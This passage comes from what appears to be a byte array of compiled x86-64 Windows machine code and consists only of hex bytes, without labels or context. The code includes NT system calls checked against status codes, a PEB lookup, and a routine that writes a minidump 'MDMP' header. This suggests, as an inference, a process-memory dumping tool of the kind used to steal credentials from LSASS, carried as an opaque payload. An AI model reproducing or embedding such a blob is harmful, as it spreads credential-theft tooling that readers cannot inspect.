,0x0E,0x00,0x00,0x89,0x85,0xDC,0x01,0x00,0x00,0x83,0xBD,0xDC,0x01,0x00,0x00,0x00,0x0F,0x84,0x9D,0x01,0x00,0x00,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x0F,0xB7,0x00,0x66,0x85,0xC0,0x75,0x63,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x85,0xC0,0x0F,0x84,0x84,0x01,0x00,0x00,0x8B,0x85,0xBC,0x01,0x00,0x00,0x89,0xC2,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x8C,0xA2,0x00,0x00,0x48,0x8B,0x9D,0xC0,0x01,0x00,0x00,0x48,0x8B,0x05,0xF6,0x33,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xF2,0x33,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x85,0xC0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xE9,0x31,0x01,0x00,0x00,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x8B,0x40,0x08,0xBA,0x5C,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xB0,0xA2,0x00,0x00,0x48,0x83,0xC0,0x02,0x48,0x89,0x85,0xD0,0x01,0x00,0x00,0x48,0x8D,0x55,0xB0,0x48,0x8B,0x85,0xD0,0x01,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x28,0x34,0x01,0x00,0xFF,0xD0,0x85,0xC0,0x0F,0x85,0x86,0x00,0x00,0x00,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x85,0xC0,0x74,0x4E,0x8B,0x85,0xBC,0x01,0x00,0x00,0x89,0xC2,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xEB,0xA1,0x00,0x00,0x48,0x8B,0x9D,0xC0,0x01,0x00,0x00,0x48,0x8B,0x05,0x55,0x33,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x51,0x33,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x85,0xC0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0xC8,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x95,0x0E,0x00,0x00,0x48,0x8B,0x95,0x08,0x02,0x00,0x00,0x89,0x02,0x90,0x48,0x8B,0x85,0x08,0x02,0x00,0x00,0x8B,0x00,0x85,0xC0,0x0F,0x84,0x86,0x00,0x00,0x00,0xEB,0x6F,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x85,0xC0,0x0F,0x84,0x34,0xFE,0xFF,0xFF,0x8B,0x85,0xBC,0x01,0x00,0x00,0x89,0xC2,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x61,0xA1,0x00,0x00,0x48,0x8B,0x9D,0xC0,0x01,0x00,0x00,0x48,0x8B,0x05,0xCB,0x32,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xC7,0x32,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x85,0xC0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xE9,0xE1,0xFD,0xFF,0xFF,0x90,0xE9,0xDB,0xFD,0xFF,0xFF,0x90,0xE9,0xD5,0xFD,0xFF,0xFF,0xC7,0x85,0xDC,0x01,0x00,0x00,0x01,0x00,0x00,0x00,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x85,0xC8,0x01,0x00,0x00,0x48,0x85,0xC0,0x74,0x0F,0x48,0x8B,0x85,0xC8,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x46,0x51,0x00,0x00,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x85,0xC0,0x74,0x5A,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x85,0xC0,0x74,0x4E,0x8B,0x85,0xBC,0x01,0x00,0x00,0x89,0xC2,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xB9,0xA0,0x00,0x00,0x48,0x8B,0x9D,0xC0,0x01,0x00,0x00,0x48,0x8B,0x05,0x23,0x32,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x1F,0x32,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x85,0xC0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x8B,0x85,0xDC,0x01,0x00,0x00,0x48,0x81,0xC4,0x60,0x02,0x00,0x00,0x5B,0x5F,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x10,0x48,0x89,0x4D,0x10,0x48,0x8B,0x45,0x10,0x0F,0xB6,0x10,0x48,0x8B,0x45,0x10,0x48,0x83,0xC0,0x01,0x0F,0xB6,0x00,0x38,0xC2,0x75,0x16,0x48,0x8B,0x45,0x10,0x48,0x83,0xC0,0x01,0x0F,0xB6,0x00,0x3C,0x5C,0x75,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x5B,0x48,0x8B,0x45,0x10,0x0F,0xB6,0x00,0x83,0xC8,0x20,0x88,0x45,0xFF,0x80,0x7D,0xFF,0x60,0x7E,0x06,0x80,0x7D,0xFF,0x7A,0x7E,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x3B,0x48,0x8B,0x45,0x10,0x48,0x83,0xC0,0x01,0x0F,0xB6,0x00,0x88,0x45,0xFF,0x80,0x7D,0xFF,0x3A,0x74,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x20,0x48,0x8B,0x45,0x10,0x48,0x83,0xC0,0x02,0x0F,0xB6,0x00,0x88,0x45,0xFF,0x80,0x7D,0xFF,0x5C,0x74,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x10,0x5D,0xC3,0x55,0x48,0x81,0xEC,0x30,0x02,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0xC0,0x01,0x00,0x00,0x48,0x89,0x95,0xC8,0x01,0x00,0x00,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x8B,0x40,0x08,0x41,0xB8,0x04,0x01,0x00,0x00,0x48,0x8D,0x15,0x0E,0xC2,0x00,0x00,0x48,0x89,0xC1,0xE8,0x0A,0xA0,0x00,0x00,0x48,0x8B,0x85,0xC8,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x1A,0xFF,0xFF,0xFF,0x85,0xC0,0x75,0x21,0xE8,0xAF,0x00,0x00,0x00,0x48,0x89,0xC2,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x8B,0x40,0x08,0x41,0xB8,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0xCE,0x9F,0x00,0x00,0x48,0x8B,0x95,0xC8,0x01,0x00,0x00,0x48,0x8D,0x45,0xA0,0x41,0xB8,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x3D,0x9F,0x00,0x00,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x8B,0x40,0x08,0x48,0x8D,0x55,0xA0,0x41,0xB8,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x98,0x9F,0x00,0x00,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x8B,0x40,0x08,0xBA,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0xE0,0x9C,0x00,0x00,0x89,0xC2,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x66,0x89,0x10,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x0F,0xB7,0x00,0x8D,0x14,0x00,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x66,0x89,0x10,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x0F,0xB7,0x00,0x8D,0x50,0x02,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x66,0x89,0x50,0x02,0x90,0x48,0x81,0xC4,0x30,0x02,0x00,0x00,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0xC7,0x45,0xEC,0x60,0x00,0x00,0x00,0x8B,0x45,0xEC,0x65,0x48,0x8B,0x00,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE0,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x83,0xC0,0x20,0x48,0x8B,0x00,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x48,0x8B,0x40,0x40,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x81,0xEC,0xC0,0x00,0x00,0x00,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xC0,0x0F,0x11,0x45,0xD0,0x0F,0x11,0x45,0xE0,0x48,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0x8B,0x45,0x20,0x48,0x89,0x45,0xA8,0xC7,0x45,0xC0,0x30,0x00,0x00,0x00,0x48,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x40,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x89,0x45,0xD0,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x4C,0x8D,0x45,0xB0,0x48,0x8D,0x4D,0xC0,0x48,0x8D,0x45,0xF0,0xC7,0x44,0x24,0x50,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x48,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x40,0x20,0x00,0x00,0x00,0xC7,0x44,0x24,0x38,0x05,0x00,0x00,0x00,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x80,0x00,0x00,0x00,0x48,0x8D,0x55,0xA8,0x48,0x89,0x54,0x24,0x20,0x4D,0x89,0xC1,0x49,0x89,0xC8,0xBA,0x16,0x01,0x12,0x00,0x48,0x89,0xC1,0xE8,0x94,0x50,0x00,0x00,0x89,0x45,0xFC,0x81,0x7D,0xFC,0x3A,0x00,0x00,0xC0,0x74,0x09,0x81,0x7D,0xFC,0x33,0x00,0x00,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x7E,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x71,0x48,0x8B,0x45,0xF0,0x48,0xC7,0x44,0x24,0x40,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x38,0x00,0x00,0x00,0x00,0x8B,0x55,0x20,0x89,0x54,0x24,0x30,0x48,0x8B,0x55,0x18,0x48,0x89,0x54,0x24,0x28,0x48,0x8D,0x55,0xB0,0x48,0x89,0x54,0x24,0x20,0x41,0xB9,0x00,0x00,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x7D,0x50,0x00,0x00,0x89,0x45,0xFC,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0xAD,0x4D,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x81,0xC4,0xC0,0x00,0x00,0x00,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x81,0xEC,0xB0,0x00,0x00,0x00,0x48,0x89,0x4D,0x10,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xC0,0x0F,0x11,0x45,0xD0,0x0F,0x11,0x45,0xE0,0xC7,0x45,0xC0,0x30,0x00,0x00,0x00,0x48,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x40,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x89,0x45,0xD0,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0x8D,0x4D,0xB0,0x48,0x8D,0x55,0xC0,0x48,0x8D,0x45,0xF0,0xC7,0x44,0x24,0x50,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x48,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x40,0x20,0x00,0x00,0x00,0xC7,0x44,0x24,0x38,0x03,0x00,0x00,0x00,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x80,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x49,0x89,0xC9,0x49,0x89,0xD0,0xBA,0x89,0x00,0x12,0x00,0x48,0x89,0xC1,0xE8,0x43,0x4F,0x00,0x00,0x89,0x45,0xFC,0x81,0x7D,0xFC,0x3A,0x00,0x00,0xC0,0x74,0x12,0x81,0x7D,0xFC,0x33,0x00,0x00,0xC0,0x74,0x09,0x81,0x7D,0xFC,0x3B,0x00,0x00,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x26,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x19,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0x9E,0x4C,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x48,0x81,0xC4,0xB0,0x00,0x00,0x00,0x5D,0xC3,0x55,0x57,0x48,0x81,0xEC,0x88,0x02,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0x20,0x02,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x85,0xC0,0x01,0x00,0x00,0x0F,0x11,0x85,0xD0,0x01,0x00,0x00,0x0F,0x11,0x85,0xE0,0x01,0x00,0x00,0x48,0x8D,0x55,0xB0,0xB8,0x00,0x00,0x00,0x00,0xB9,0x41,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0xC7,0x45,0xA0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0x48,0x8D,0x45,0xB0,0x48,0x89,0x45,0xA8,0x48,0x83,0xBD,0x20,0x02,0x00,0x00,0x00,0x75,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x7D,0x48,0x8B,0x95,0x20,0x02,0x00,0x00,0x48,0x8D,0x45,0xA0,0x48,0x89,0xC1,0xE8,0xD1,0xFB,0xFF,0xFF,0xC7,0x85,0xC0,0x01,0x00,0x00,0x30,0x00,0x00,0x00,0x48,0xC7,0x85,0xC8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0xD8,0x01,0x00,0x00,0x40,0x00,0x00,0x00,0x48,0x8D,0x45,0xA0,0x48,0x89,0x85,0xD0,0x01,0x00,0x00,0x48,0xC7,0x85,0xE0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0xE8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x85,0xC0,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x86,0x50,0x00,0x00,0x89,0x85,0xFC,0x01,0x00,0x00,0x83,0xBD,0xFC,0x01,0x00,0x00,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x81,0xC4,0x88,0x02,0x00,0x00,0x5F,0x5D,0xC3,0x55,0x57,0x48,0x81,0xEC,0xD8,0x02,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0x70,0x02,0x00,0x00,0x48,0xC7,0x85,0x40,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x85,0x10,0x02,0x00,0x00,0x0F,0x11,0x85,0x20,0x02,0x00,0x00,0x0F,0x11,0x85,0x30,0x02,0x00,0x00,0x48,0xC7,0x85,0xF8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0xF8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x55,0xF0,0xB8,0x00,0x00,0x00,0x00,0xB9,0x41,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0x8D,0x45,0xF0,0x48,0x89,0x45,0xE8,0x48,0x83,0xBD,0x70,0x02,0x00,0x00,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x13,0x01,0x00,0x00,0x48,0x8B,0x95,0x70,0x02,0x00,0x00,0x48,0x8D,0x45,0xE0,0x48,0x89,0xC1,0xE8,0xB8,0xFA,0xFF,0xFF,0xC7,0x85,0x10,0x02,0x00,0x00,0x30,0x00,0x00,0x00,0x48,0xC7,0x85,0x18,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0x28,0x02,0x00,0x00,0x40,0x00,0x00,0x00,0x48,0x8D,0x45,0xE0,0x48,0x89,0x85,0x20,0x02,0x00,0x00,0x48,0xC7,0x85,0x30,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x38,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x4C,0x8D,0x85,0x00,0x02,0x00,0x00,0x48,0x8D,0x8D,0x10,0x02,0x00,0x00,0x48,0x8D,0x85,0x40,0x02,0x00,0x00,0xC7,0x44,0x24,0x50,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x48,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x40,0x20,0x00,0x00,0x00,0xC7,0x44,0x24,0x38,0x01,0x00,0x00,0x00,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x80,0x00,0x00,0x00,0x48,0x8D,0x95,0xF8,0x01,0x00,0x00,0x48,0x89,0x54,0x24,0x20,0x4D,0x89,0xC1,0x49,0x89,0xC8,0xBA,0x89,0x00,0x12,0x00,0x48,0x89,0xC1,0xE8,0xB0,0x4C,0x00,0x00,0x89,0x85,0x4C,0x02,0x00,0x00,0x81,0xBD,0x4C,0x02,0x00,0x00,0x43,0x00,0x00,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x42,0x81,0xBD,0x4C,0x02,0x00,0x00,0x34,0x00,0x00,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x2F,0x83,0xBD,0x4C,0x02,0x00,0x00,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x1F,0x48,0x8B,0x85,0x40,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0xFE,0x49,0x00,0x00,0x48,0xC7,0x85,0x40,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x48,0x81,0xC4,0xD8,0x02,0x00,0x00,0x5F,0x5D,0xC3,0x55,0x57,0x48,0x81,0xEC,0xD8,0x02,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0x70,0x02,0x00,0x00,0x48,0xC7,0x85,0x40,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x85,0x10,0x02,0x00,0x00,0x0F,0x11,0x85,0x20,0x02,0x00,0x00,0x0F,0x11,0x85,0x30,0x02,0x00,0x00,0x48,0xC7,0x85,0xF8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0xF8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x55,0xF0,0xB8,0x00,0x00,0x00,0x00,0xB9,0x41,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0x8D,0x45,0xF0,0x48,0x89,0x45,0xE8,0x48,0x8B,0x95,0x70,0x02,0x00,0x00,0x48,0x8D,0x45,0xE0,0x48,0x89,0xC1,0xE8,0x1D,0xF9,0xFF,0xFF,0xC7,0x85,0x10,0x02,0x00,0x00,0x30,0x00,0x00,0x00,0x48,0xC7,0x85,0x18,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0x28,0x02,0x00,0x00,0x40,0x00,0x00,0x00,0x48,0x8D,0x45,0xE0,0x48,0x89,0x85,0x20,0x02,0x00,0x00,0x48,0xC7,0x85,0x30,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x38,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x4C,0x8D,0x85,0x00,0x02,0x00,0x00,0x48,0x8D,0x8D,0x10,0x02,0x00,0x00,0x48,0x8D,0x85,0x40,0x02,0x00,0x00,0xC7,0x44,0x24,0x50,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x48,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x40,0x01,0x00,0x00,0x00,0xC7,0x44,0x24,0x38,0x02,0x00,0x00,0x00,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x80,0x00,0x00,0x00,0x48,0x8D,0x95,0xF8,0x01,0x00,0x00,0x48,0x89,0x54,0x24,0x20,0x4D,0x89,0xC1,0x49,0x89,0xC8,0xBA,0x89,0x00,0x12,0x00,0x48,0x89,0xC1,0xE8,0x15,0x4B,0x00,0x00,0x89,0x85,0x4C,0x02,0x00,0x00,0x81,0xBD,0x4C,0x02,0x00,0x00,0x35,0x00,0x00,0xC0,0x75,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x42,0x81,0xBD,0x4C,0x02,0x00,0x00,0x34,0x00,0x00,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x2F,0x83,0xBD,0x4C,0x02,0x00,0x00,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x1F,0x48,0x8B,0x85,0x40,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x63,0x48,0x00,0x00,0x48,0xC7,0x85,0x40,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x48,0x81,0xC4,0xD8,0x02,0x00,0x00,0x5F,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0x8D,0x45,0xE0,0x41,0xB9,0x10,0x00,0x00,0x00,0x49,0x89,0xC0,0xBA,0x28,0x00,0x00,0x00,0x48,0xC7,0xC1,0xFF,0xFF,0xFF,0xFF,0xE8,0x79,0x4D,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x48,0x83,0x7D,0x10,0x00,0x0F,0x84,0xAD,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x89,0x45,0xF8,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xEB,0x0F,0x83,0x45,0xF4,0x01,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x75,0xEA,0x8B,0x45,0xF4,0x83,0xE8,0x01,0x89,0x45,0xF0,0xEB,0x73,0x48,0x8B,0x45,0x10,0x48,0x89,0x45,0xF8,0x8B,0x45,0xF0,0x89,0x45,0xEC,0xEB,0x0B,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x8B,0x45,0xEC,0x8D,0x50,0xFF,0x89,0x55,0xEC,0x85,0xC0,0x75,0xE8,0x48,0x83,0x7D,0xF8,0x00,0x74,0x40,0x8B,0x55,0x18,0x48,0x8B,0x45,0xF8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xFA,0x96,0x00,0x00,0x48,0x8B,0x05,0x6B,0x28,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x63,0x28,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x83,0x6D,0xF0,0x01,0x83,0x7D,0xF0,0x00,0x79,0x87,0xEB,0x01,0x90,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x8B,0x55,0x10,0x48,0x8D,0x45,0xF0,0xC7,0x44,0x24,0x28,0x04,0x00,0x00,0x00,0xC7,0x44,0x24,0x20,0x00,0x10,0x00,0x00,0x49,0x89,0xD1,0x41,0xB8,0x00,0x00,0x00,0x00,0x48,0x89,0xC2,0x48,0xC7,0xC1,0xFF,0xFF,0xFF,0xFF,0xE8,0x89,0x48,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x04,0x48,0x8B,0x45,0xF0,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x90,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x48,0x8B,0x45,0x10,0x48,0x85,0xC0,0x74,0x4B,0x48,0x8B,0x45,0x18,0x48,0x85,0xC0,0x74,0x42,0x48,0x8B,0x55,0x18,0x48,0x8B,0x45,0x10,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x17,0x96,0x00,0x00,0x48,0xC7,0x45,0x18,0x00,0x00,0x00,0x00,0x48,0x8D,0x45,0x18,0x41,0xB9,0x00,0x80,0x00,0x00,0x49,0x89,0xC0,0x48,0x8D,0x55,0x10,0x48,0xC7,0xC1,0xFF,0xFF,0xFF,0xFF,0xE8,0x58,0x48,0x00,0x00,0x89,0x45,0xFC,0xEB,0x01,0x90,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x4C,0x89,0x45,0x20,0x48,0x8D,0x45,0xF8,0x48,0x89,0xC1,0xE8,0xD6,0xEF,0xFF,0xFF,0x89,0xC1,0xE8,0xD7,0x95,0x00,0x00,0x48,0x8B,0x45,0x10,0xC7,0x00,0x4D,0x44,0x4D,0x50,0x48,0x8B,0x45,0x18,0x66,0xC7,0x00,0x93,0xA7,0x48,0x8B,0x45,0x20,0x66,0xC7,0x00,0x00,0x00,0xE9,0xEF,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0xC7,0x00,0x00,0x00,0x00,0x00,0xE8,0x97,0x95,0x00,0x00,0xC1,0xE0,0x11,0x89,0xC2,0x48,0x8B,0x45,0x10,0x8B,0x00,0x09,0xC2,0x48,0x8B,0x45,0x10,0x89,0x10,0xE8,0x7F,0x95,0x00,0x00,0xC1,0xE0,0x02,0x25,0xFC,0xFF,0x01,0x00,0x89,0xC2,0x48,0x8B,0x45,0x10,0x8B,0x00,0x09,0xC2,0x48,0x8B,0x45,0x10,0x89,0x10,0xE8,0x62,0x95,0x00,0x00,0x83,0xE0,0x03,0x89,0xC2,0x48,0x8B,0x45,0x10,0x8B,0x00,0x09,0xC2,0x48,0x8B,0x45,0x10,0x89,0x10,0x48,0x8B,0x45,0x18,0x66,0xC7,0x00,0x00,0x0